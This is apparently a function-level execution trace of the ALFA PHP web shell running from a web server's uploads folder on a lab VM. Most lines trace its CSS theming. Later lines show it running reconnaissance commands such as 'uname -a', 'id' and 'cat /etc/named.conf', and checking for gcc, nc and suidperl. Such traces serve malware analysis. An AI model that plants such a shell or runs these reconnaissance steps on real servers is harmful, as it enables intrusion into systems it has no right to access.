5	242	0	0.025811	2802216	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#0E304A'	'background-color: {color};'
5	242	1	0.025826	2802368
5	242	R			'background-color: #0E304A;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'background-color: #0E304A;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.inputfile strong{background-color: #0E304A;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'uploader_text_right'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.inputfile strong'
5	243	0	0.025889	2802192	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'uploader_text_right'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.inputfile strong' => 'color: {color};']]
5	243	1	0.025918	2802192
5	243	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#FFFFFF'
5	244	0	0.025942	2802192	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	244	1	0.025956	2802328
5	244	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.inputfile strong{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'uploader_text_left'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.inputfile span'
5	245	0	0.026014	2802176	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'uploader_text_left'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#25ff00', 'multi_selector' => ['.inputfile span' => 'color: {color};']]
5	245	1	0.026044	2802176
5	245	R			'#25ff00'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#25ff00'
5	246	0	0.026067	2802176	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#25ff00'	'color: {color};'
5	246	1	0.026083	2802312
5	246	R			'color: #25ff00;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #25ff00;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.inputfile span{color: #25ff00;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'uploader:hover'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.inputfile:hover'
5	247	0	0.026140	2802176	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'uploader:hover'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['.inputfile:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	247	1	0.026172	2802176
5	247	R			'#27979B'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#27979B'
5	248	0	0.026195	2802176	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	248	1	0.026212	2802352
5	248	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'uploader_progress_bar'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.up_bar'
5	249	0	0.026276	2802216	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'uploader_progress_bar'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#00ff00', 'multi_selector' => ['.up_bar' => 'background-color: {color};']]
5	249	1	0.026306	2802216
5	249	R			'#00ff00'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#00ff00'
5	250	0	0.026330	2802216	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#00ff00'	'background-color: {color};'
5	250	1	0.026346	2802368
5	250	R			'background-color: #00ff00;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'background-color: #00ff00;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.up_bar{background-color: #00ff00;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'mysql_tables'
5	251	0	0.026394	2802192	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'mysql_tables'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#00FF00'
5	251	1	0.026418	2802192
5	251	R			'#00FF00'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#00FF00'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.mysql_tables{color: #00FF00;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'mysql_table_count'
5	252	0	0.026469	2802192	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'mysql_table_count'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#67ABDF'
5	252	1	0.026493	2802192
5	252	R			'#67ABDF'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#67ABDF'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.mysql_table_count{color: #67ABDF;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'copyright'
5	253	0	0.026540	2802192	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'copyright'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#dfff00'
5	253	1	0.026564	2802192
5	253	R			'#dfff00'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#dfff00'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.copyright{color: #dfff00;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'scrollbar'
4		A						/var/www/html/uploads/alfa.php	634	$k = '*::-webkit-scrollbar-thumb'
5	254	0	0.026619	2802192	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'scrollbar'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#1e82b5', 'multi_selector' => ['*::-webkit-scrollbar-thumb' => 'background-color: {color};']]
5	254	1	0.026649	2802192
5	254	R			'#1e82b5'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#1e82b5'
5	255	0	0.026673	2802192	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#1e82b5'	'background-color: {color};'
5	255	1	0.026689	2802344
5	255	R			'background-color: #1e82b5;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'background-color: #1e82b5;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '*::-webkit-scrollbar-thumb{background-color: #1e82b5;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'scrollbar_background'
4		A						/var/www/html/uploads/alfa.php	634	$k = '*::-webkit-scrollbar-track'
5	256	0	0.026752	2803216	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'scrollbar_background'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#000115', 'multi_selector' => ['*::-webkit-scrollbar-track' => 'background-color: {color};']]
5	256	1	0.026783	2803216
5	256	R			'#000115'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#000115'
5	257	0	0.026806	2803216	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#000115'	'background-color: {color};'
5	257	1	0.026823	2803368
5	257	R			'background-color: #000115;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'background-color: #000115;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '*::-webkit-scrollbar-track{background-color: #000115;}'
4	126	1	0.026863	2803160
4	126	R			'.header{border: 7px solid #0E304A}#meunlist{border-color: #0E304A}#hidden_sh{background-color: #0E304A}.ajaxarea{border: 1px solid #0E304A}.foot{border-color: #0E304A}.header_vars{color: #27979B;}.header_values{color: #67ABDF;}.header_on{color: #00FF00;}.header_off{color: #ff0000;}.header_none{color: #00FF00;}.home_shell{color: #ff0000;}.home_shell:hover{color: #FFFFFF;}.back_shell{color: #efbe73;}.back_shell:hover{color: #FFFFFF;}.header_pwd{color: #00FF00;}.header_pwd:hover{color: #FFFFFF;}.header_drive{c'
4	258	0	0.027100	2786776	htmlspecialchars	0		/var/www/html/uploads/alfa.php	1073	1	'/var/www/html/uploads/'
4	258	1	0.027117	2786968
4	258	R			'/var/www/html/uploads/'
4	259	0	0.027134	2786888	htmlspecialchars	0		/var/www/html/uploads/alfa.php	1074	1	'FilesMan2'
4	259	1	0.027148	2787080
4	259	R			'FilesMan2'
4	260	0	0.027163	2786936	htmlspecialchars	0		/var/www/html/uploads/alfa.php	1075	1	'Windows-1251'
4	260	1	0.027177	2787128
4	260	R			'Windows-1251'
4	261	0	0.027934	2799064	__showicon	1		/var/www/html/uploads/alfa.php	1086	1	'loader'
4		A						/var/www/html/uploads/alfa.php	1237	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/alfa.php	1238	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/alfa.php	1239	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	261	1	0.027992	2799064
4	261	R			'http://solevisible.com/images/loader.svg'
4	262	0	0.028010	2799064	alfaEx	1		/var/www/html/uploads/alfa.php	1087	4	'uname -a'	FALSE	FALSE	???
5	263	0	0.028025	2799064	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'uname -a'	FALSE
5		A						/var/www/html/uploads/alfa.php	758	$out = ''
6	264	0	0.028054	2799064	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
6	264	1	0.028068	2799104
6	264	R			TRUE
6	265	0	0.028082	2799088	exec	0		/var/www/html/uploads/alfa.php	762	2	'uname -a'	''
6	265	1	0.029217	2799848
6	265	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
6	266	0	0.029254	2799624	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[0 => 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux']
6	266	1	0.029275	2799688
6	266	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5		A						/var/www/html/uploads/alfa.php	763	$out = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5	263	1	0.029314	2799224
5	263	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4		A						/var/www/html/uploads/alfa.php	744	$data = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4	262	1	0.029352	2799224
4	262	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
3		A						/var/www/html/uploads/alfa.php	1087	$cmd_uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4	267	0	0.029388	2799224	function_exists	0		/var/www/html/uploads/alfa.php	1088	1	'php_uname'
4	267	1	0.029402	2799264
4	267	R			TRUE
4	268	0	0.029416	2799224	php_uname	0		/var/www/html/uploads/alfa.php	1088	0
4	268	1	0.029430	2799336
4	268	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
4	269	0	0.029449	2799336	substr	0		/var/www/html/uploads/alfa.php	1088	3	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'	0	120
4	269	1	0.029467	2799432
4	269	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3		A						/var/www/html/uploads/alfa.php	1088	$uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3		A						/var/www/html/uploads/alfa.php	1098	$s = 1
3		A						/var/www/html/uploads/alfa.php	1098	$s++
3		A						/var/www/html/uploads/alfa.php	1098	$s++
3		A						/var/www/html/uploads/alfa.php	1098	$s++
3		A						/var/www/html/uploads/alfa.php	1098	$s++
3		A						/var/www/html/uploads/alfa.php	1098	$s++
3		A						/var/www/html/uploads/alfa.php	1098	$s++
3		A						/var/www/html/uploads/alfa.php	1098	$s++
3		A						/var/www/html/uploads/alfa.php	1098	$s++
3		A						/var/www/html/uploads/alfa.php	1098	$s++
3		A						/var/www/html/uploads/alfa.php	1098	$s++
4	270	0	0.029595	2800616	phpversion	0		/var/www/html/uploads/alfa.php	1116	0
4	270	1	0.029607	2800680
4	270	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
4	271	0	0.029626	2801128	date	0		/var/www/html/uploads/alfa.php	1124	1	'Y-m-d H:i:s'
4	271	1	0.029685	2803480
4	271	R			'2023-02-12 17:13:12'
4	272	0	0.029707	2801400	_alfa_file	1		/var/www/html/uploads/alfa.php	1130	2	'/etc/named.conf'	FALSE
5	273	0	0.029724	2801400	file	0		/var/www/html/uploads/alfa.php	2507	1	'/etc/named.conf'
5	273	1	0.029753	2801552
5	273	R			FALSE
4		A						/var/www/html/uploads/alfa.php	2507	$array = FALSE
5	274	0	0.029778	2801512	alfaEx	1		/var/www/html/uploads/alfa.php	2509	4	'id'	FALSE	FALSE	???
6	275	0	0.029792	2801512	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'id'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	276	0	0.029816	2801512	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	276	1	0.029829	2801552
7	276	R			TRUE
7	277	0	0.029842	2801536	exec	0		/var/www/html/uploads/alfa.php	762	2	'id'	''
7	277	1	0.031037	2802136
7	277	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7	278	0	0.031064	2801992	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
7	278	1	0.031089	2802056
7	278	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6		A						/var/www/html/uploads/alfa.php	763	$out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6	275	1	0.031120	2801592
6	275	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5		A						/var/www/html/uploads/alfa.php	744	$data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5	274	1	0.031149	2801592
5	274	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5	279	0	0.031166	2801512	addslashes	0		/var/www/html/uploads/alfa.php	2510	1	'/etc/named.conf'
5	279	1	0.031180	2801544
5	279	R			'/etc/named.conf'
5	280	0	0.031196	2801560	alfaEx	1		/var/www/html/uploads/alfa.php	2510	4	'cat "/etc/named.conf"'	FALSE	FALSE	???
6	281	0	0.031211	2801560	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'cat "/etc/named.conf"'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	282	0	0.031237	2801560	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	282	1	0.031250	2801600
7	282	R			TRUE
7	283	0	0.031266	2801584	exec	0		/var/www/html/uploads/alfa.php	762	2	'cat "/etc/named.conf"'	''
7	283	1	0.032537	2801704
7	283	R			''
7	284	0	0.032580	2801640	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[]
7	284	1	0.032604	2801704
7	284	R			''
6		A						/var/www/html/uploads/alfa.php	763	$out = ''
6	281	1	0.032701	2801560
6	281	R			''
5		A						/var/www/html/uploads/alfa.php	744	$data = ''
5	280	1	0.032726	2801560
5	280	R			''
4		A						/var/www/html/uploads/alfa.php	2510	$data = ''
4	272	1	0.032751	2801512
4	272	R			FALSE
3		A						/var/www/html/uploads/alfa.php	1130	$d0mains = FALSE
3		A						/var/www/html/uploads/alfa.php	1131	GLOBALS['need_to_update_header'] = 'true'
4	285	0	0.032793	2801512	alfaSize	1		/var/www/html/uploads/alfa.php	1146	1	232015802368
5	286	0	0.032815	2801512	sprintf	0		/var/www/html/uploads/alfa.php	2411	2	'%1.2f'	216.08155441284
5	286	1	0.032832	2801896
5	286	R			'216.08'
4	285	1	0.032847	2801552
4	285	R			'216.08 GB'
4	287	0	0.032862	2801736	alfaSize	1		/var/www/html/uploads/alfa.php	1146	1	207323430912
5	288	0	0.032876	2801736	sprintf	0		/var/www/html/uploads/alfa.php	2411	2	'%1.2f'	193.08499145508
5	288	1	0.032890	2802120
5	288	R			'193.08'
4	287	1	0.032905	2801776
4	287	R			'193.08 GB'
3		A						/var/www/html/uploads/alfa.php	1149	$useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>'
4	289	0	0.032945	2801512	ini_get	0		/var/www/html/uploads/alfa.php	1150	1	'safe_mode'
4	289	1	0.032959	2801544
4	289	R			FALSE
4	290	0	0.032973	2801512	alfaEx	1		/var/www/html/uploads/alfa.php	1151	4	'id'	FALSE	FALSE	???
5	291	0	0.032987	2801512	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'id'	FALSE
5		A						/var/www/html/uploads/alfa.php	758	$out = ''
6	292	0	0.033012	2801512	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
6	292	1	0.033033	2801552
6	292	R			TRUE
6	293	0	0.033047	2801536	exec	0		/var/www/html/uploads/alfa.php	762	2	'id'	''
6	293	1	0.034585	2802136
6	293	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6	294	0	0.034624	2801992	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
6	294	1	0.034644	2802056
6	294	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5		A						/var/www/html/uploads/alfa.php	763	$out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5	291	1	0.034675	2801592
5	291	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
4		A						/var/www/html/uploads/alfa.php	744	$data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
4	290	1	0.034706	2801592
4	290	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
3		A						/var/www/html/uploads/alfa.php	1153	$userful = [0 => 'gcc', 1 => 'lcc', 2 => 'cc', 3 => 'ld', 4 => 'make', 5 => 'php', 6 => 'perl', 7 => 'python', 8 => 'ruby', 9 => 'tar', 10 => 'gzip', 11 => 'bzip', 12 => 'bzialfa2', 13 => 'nc', 14 => 'locate', 15 => 'suidperl']
3		A						/var/www/html/uploads/alfa.php	1154	$x = 0
4	295	0	0.034762	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1155	1	'gcc'
5	296	0	0.034777	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which gcc'	FALSE	FALSE	???
6	297	0	0.034792	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which gcc'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	298	0	0.034823	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	298	1	0.034837	2801592
7	298	R			TRUE
7	299	0	0.034851	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which gcc'	''
7	299	1	0.036174	2802096
7	299	R			'/usr/bin/gcc'
7	300	0	0.036201	2801992	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[0 => '/usr/bin/gcc']
7	300	1	0.036219	2802056
7	300	R			'/usr/bin/gcc'
6		A						/var/www/html/uploads/alfa.php	763	$out = '/usr/bin/gcc'
6	297	1	0.036246	2801592
6	297	R			'/usr/bin/gcc'
5		A						/var/www/html/uploads/alfa.php	744	$data = '/usr/bin/gcc'
5	296	1	0.036272	2801592
5	296	R			'/usr/bin/gcc'
4		A						/var/www/html/uploads/alfa.php	2404	$path = '/usr/bin/gcc'
4	295	1	0.036297	2801512
4	295	R			12
3		A						/var/www/html/uploads/alfa.php	1155	$x++
4	301	0	0.036323	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1155	1	'lcc'
5	302	0	0.036336	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which lcc'	FALSE	FALSE	???
6	303	0	0.036352	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which lcc'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	304	0	0.036375	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	304	1	0.036389	2801592
7	304	R			TRUE
7	305	0	0.036402	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which lcc'	''
7	305	1	0.037681	2801696
7	305	R			''
7	306	0	0.037707	2801632	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[]
7	306	1	0.037722	2801696
7	306	R			''
6		A						/var/www/html/uploads/alfa.php	763	$out = ''
6	303	1	0.037747	2801552
6	303	R			''
5		A						/var/www/html/uploads/alfa.php	744	$data = ''
5	302	1	0.037771	2801552
5	302	R			''
4		A						/var/www/html/uploads/alfa.php	2404	$path = ''
4	301	1	0.037794	2801512
4	301	R			FALSE
4	307	0	0.037808	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1155	1	'cc'
5	308	0	0.037822	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which cc'	FALSE	FALSE	???
6	309	0	0.037836	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which cc'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	310	0	0.037861	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	310	1	0.037875	2801592
7	310	R			TRUE
7	311	0	0.037887	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which cc'	''
7	311	1	0.039099	2802096
7	311	R			'/usr/bin/cc'
7	312	0	0.039124	2801992	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[0 => '/usr/bin/cc']
7	312	1	0.039141	2802056
7	312	R			'/usr/bin/cc'
6		A						/var/www/html/uploads/alfa.php	763	$out = '/usr/bin/cc'
6	309	1	0.039168	2801592
6	309	R			'/usr/bin/cc'
5		A						/var/www/html/uploads/alfa.php	744	$data = '/usr/bin/cc'
5	308	1	0.039193	2801592
5	308	R			'/usr/bin/cc'
4		A						/var/www/html/uploads/alfa.php	2404	$path = '/usr/bin/cc'
4	307	1	0.039217	2801512
4	307	R			11
3		A						/var/www/html/uploads/alfa.php	1155	$x++
4	313	0	0.039241	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1155	1	'ld'
5	314	0	0.039255	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which ld'	FALSE	FALSE	???
6	315	0	0.039269	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which ld'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	316	0	0.039293	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	316	1	0.039307	2801592
7	316	R			TRUE
7	317	0	0.039320	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which ld'	''
7	317	1	0.040517	2802096
7	317	R			'/usr/bin/ld'
7	318	0	0.040542	2801992	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[0 => '/usr/bin/ld']
7	318	1	0.040559	2802056
7	318	R			'/usr/bin/ld'
6		A						/var/www/html/uploads/alfa.php	763	$out = '/usr/bin/ld'
6	315	1	0.040616	2801592
6	315	R			'/usr/bin/ld'
5		A						/var/www/html/uploads/alfa.php	744	$data = '/usr/bin/ld'
5	314	1	0.040644	2801592
5	314	R			'/usr/bin/ld'
4		A						/var/www/html/uploads/alfa.php	2404	$path = '/usr/bin/ld'
4	313	1	0.040668	2801512
4	313	R			11
3		A						/var/www/html/uploads/alfa.php	1155	$x++
4	319	0	0.040692	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1155	1	'make'
5	320	0	0.040706	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which make'	FALSE	FALSE	???
6	321	0	0.040721	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which make'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	322	0	0.040744	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	322	1	0.040757	2801592
7	322	R			TRUE
7	323	0	0.040770	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which make'	''
7	323	1	0.041917	2802096
7	323	R			'/usr/bin/make'
7	324	0	0.041942	2801992	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[0 => '/usr/bin/make']
7	324	1	0.041959	2802056
7	324	R			'/usr/bin/make'
6		A						/var/www/html/uploads/alfa.php	763	$out = '/usr/bin/make'
6	321	1	0.041986	2801592
6	321	R			'/usr/bin/make'
5		A						/var/www/html/uploads/alfa.php	744	$data = '/usr/bin/make'
5	320	1	0.042012	2801592
5	320	R			'/usr/bin/make'
4		A						/var/www/html/uploads/alfa.php	2404	$path = '/usr/bin/make'
4	319	1	0.042037	2801512
4	319	R			13
3		A						/var/www/html/uploads/alfa.php	1155	$x++
4	325	0	0.042061	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1155	1	'php'
5	326	0	0.042074	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which php'	FALSE	FALSE	???
6	327	0	0.042088	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which php'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	328	0	0.042113	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	328	1	0.042126	2801592
7	328	R			TRUE
7	329	0	0.042139	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which php'	''
7	329	1	0.043172	2802096
7	329	R			'/usr/bin/php'
7	330	0	0.043197	2801992	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[0 => '/usr/bin/php']
7	330	1	0.043213	2802056
7	330	R			'/usr/bin/php'
6		A						/var/www/html/uploads/alfa.php	763	$out = '/usr/bin/php'
6	327	1	0.043241	2801592
6	327	R			'/usr/bin/php'
5		A						/var/www/html/uploads/alfa.php	744	$data = '/usr/bin/php'
5	326	1	0.043266	2801592
5	326	R			'/usr/bin/php'
4		A						/var/www/html/uploads/alfa.php	2404	$path = '/usr/bin/php'
4	325	1	0.043291	2801512
4	325	R			12
3		A						/var/www/html/uploads/alfa.php	1155	$x++
4	331	0	0.043315	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1155	1	'perl'
5	332	0	0.043329	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which perl'	FALSE	FALSE	???
6	333	0	0.043343	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which perl'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	334	0	0.043367	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	334	1	0.043381	2801592
7	334	R			TRUE
7	335	0	0.043394	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which perl'	''
7	335	1	0.044403	2802096
7	335	R			'/usr/bin/perl'
7	336	0	0.044428	2801992	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[0 => '/usr/bin/perl']
7	336	1	0.044444	2802056
7	336	R			'/usr/bin/perl'
6		A						/var/www/html/uploads/alfa.php	763	$out = '/usr/bin/perl'
6	333	1	0.044471	2801592
6	333	R			'/usr/bin/perl'
5		A						/var/www/html/uploads/alfa.php	744	$data = '/usr/bin/perl'
5	332	1	0.044496	2801592
5	332	R			'/usr/bin/perl'
4		A						/var/www/html/uploads/alfa.php	2404	$path = '/usr/bin/perl'
4	331	1	0.044521	2801512
4	331	R			13
3		A						/var/www/html/uploads/alfa.php	1155	$x++
4	337	0	0.044552	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1155	1	'python'
5	338	0	0.044566	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which python'	FALSE	FALSE	???
6	339	0	0.044580	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which python'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	340	0	0.044603	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	340	1	0.044617	2801592
7	340	R			TRUE
7	341	0	0.044630	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which python'	''
7	341	1	0.045836	2801696
7	341	R			''
7	342	0	0.045873	2801632	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[]
7	342	1	0.045895	2801696
7	342	R			''
6		A						/var/www/html/uploads/alfa.php	763	$out = ''
6	339	1	0.045934	2801552
6	339	R			''
5		A						/var/www/html/uploads/alfa.php	744	$data = ''
5	338	1	0.045971	2801552
5	338	R			''
4		A						/var/www/html/uploads/alfa.php	2404	$path = ''
4	337	1	0.046006	2801512
4	337	R			FALSE
4	343	0	0.046028	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1155	1	'ruby'
5	344	0	0.046048	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which ruby'	FALSE	FALSE	???
